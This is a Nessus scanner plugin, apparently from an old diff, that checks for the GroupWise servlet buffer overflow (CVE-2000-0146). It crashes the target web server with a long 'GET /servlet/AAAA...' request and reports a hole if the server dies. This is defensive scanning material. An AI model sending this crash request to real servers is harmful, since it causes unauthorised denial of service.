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- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
- # Axel Nennker axel@nennker.de
- # I got false positive from this script in revision 1.7
- # Therefore I added an extra check before the attack and
- # rephrased the description. 20020306
-
- if(description)
- {
- script_id(10097);
- script_bugtraq_id(972);
- script_version ("$Revision: 1.13 $");
- script_cve_id("CVE-2000-0146");
- name["english"] = "GroupWise buffer overflow";
- name["francais"] = "DΘpassement de buffer dans GroupWise";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "It is possible to make the remote web-server
- crash by doing the request :
-
- GET /servlet/AAAA...AAAA
-
-
- Risk factor : High
- Solution : If the server is a Groupwise server, then install GroupWise Enhancement Pack 5.5 Sp1";
-
-
- desc["francais"] = "
- Il est possible de faire planter le serveur GroupWise distant
- en faisant la requete :
- GET /servlet/AAAA..AAAA
-
- Facteur de risque : ElevΘ
- Solution : Installez GroupWise Enhancement Pack 5.5 Sp1";
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "IIS buffer overflow";
- summary["francais"] = "DΘpassement de buffer dans IIS";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_DENIAL);
-
-
- script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes", "www_too_long_url.nasl");
- script_exclude_keys("www/too_long_url_crash");
- script_require_ports("Services/www", 80);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- include("http_func.inc");
-
- # if the server already crashes because of a too long
- # url, go away
-
- too_long = get_kb_item("www/too_long_url_crash");
- if(too_long)exit(0);
-
- port = get_http_port(default:80);
-
- if(!get_port_state(port)) exit(0);
-
- if(http_is_dead(port:port))exit(0);
-
- # now try to crash the server
- soc = http_open_socket(port);
- if(!soc) exit(0);
- data = string("/servlet/", crap(400));
- data = http_get(item:data, port:port);
- send(socket:soc, data:data);
- r = http_recv(socket:soc);
- http_close_socket(soc);
-
- if(http_is_dead(port:port))security_hole(port);
-